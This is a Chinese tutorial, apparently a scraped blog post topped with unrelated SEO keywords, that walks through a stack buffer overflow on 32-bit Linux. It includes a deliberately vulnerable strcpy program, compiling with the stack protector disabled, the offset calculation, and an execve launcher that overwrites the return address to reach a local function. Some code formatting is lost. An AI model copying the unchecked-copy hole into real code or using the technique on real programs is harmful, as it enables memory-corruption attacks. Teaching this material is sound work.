网站建设实习,faq插件 wordpress,久久医药网,wordpress 阴影在x86-32-Linux下构造一个栈溢出攻击 栈缓冲区溢出攻击#xff1a;向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。 IA-32下C函数调用约定#xff1a; 
调用者将参数从右向左入栈#xff0c;构造参数call 指令短跳转#xff0c;会将call指令下一…在x86-32-Linux下构造一个栈溢出攻击 栈缓冲区溢出攻击向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。 IA-32下C函数调用约定 
调用者将参数从右向左入栈构造参数call 指令短跳转会将call指令下一条指令地址(RA)入栈供RET指令返回使用被调用函数创建栈帧push %ebp; mov %esp, %ebp; 
则一个函数调用的栈帧情况 
void func(int a,int b,int c) {int tmp  0x99;return ;
}
void main() {func(1,2,3);
}0x0参数C0x4参数B0x8参数A0xCRA地址0x10旧%ebp0x14tmp变量值0x99 
攻击原理: 利用strcpy(dst, src)函数对写入的src数据长度不做检查的特性对函数的栈数组进行写溢出攻击。 
假设待写溢出的数组在test()中 
// a.c
#include stdio.h
#include string.hvoid test(char *str) {char buffer[16]; // 待攻击处strcpy(buffer, str);printf(%s\n, buffer);
}void hacker(void) {printf(being hacked\n);
}int main(int argc,char *argv[]) {test(argv[1]);return 0;
}gcc a.c -o a.out 编译后objdump -d a.out反汇编查看栈布局。 发现GCC对strcpy()的调用处插入栈检查代码call 8048398 __stack_chk_failplt. 首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector查看反汇编发现没有了栈检查代码。 
于是根据反汇编代码来得到test()的栈帧布局情况。  
由sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间布局如下。 
并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址 
数组buffer的起始地址是-0x18(%ebp)于是便能够知道数组在栈帧的中的位置 
%ebp0x8参数 char *str%ebp0x4RA返回地址%ebp当前的值也就是test的栈底0main的%ebp%ebp-0x4ebp-0x8-0xCbuf 12~15-0x10buf 8~11-0x14buf 4~7-0x18buf 0~3-0x1C%ebp-0x20%ebp-0x24  %esp  0x4strcpy的参数char *str%ebp-0x28  %espstrcpy的参数buf地址-0x18(%ebp) 
既然有了buffer数组的位置那么就能得到buffer数组到RA返回地址处的长度163*428字节28字节后面开始的 4字节便是需要构造的攻击跳转地址 
假设我们想要其跳转到void hacker()函数写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址 有了hacker()函数地址便能构造写溢出攻击字符串的内容了28字节的垃圾字符4字节hacker()函数地址\0 
代码如下 
// test.c
#include unistd.h
#include stdio.hchar tmp[33];int main() {for (int i0; i28; i)tmp[i]  F;// 对应hacker()地址 0x08048439tmp[28]  \x39;tmp[29]  \x84;tmp[30]  \x04;tmp[31]  \x08;tmp[32]  \0;char *argv[3]  { ./a.out, tmp, NULL};execve(argv[0], argv, NULL);return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -stdc99./test运行结果如下栈溢出攻击成功  
总结 
需要根据反汇编代码来查看函数栈中的变量的布局然后根据栈变量布局再来构造溢出字符串。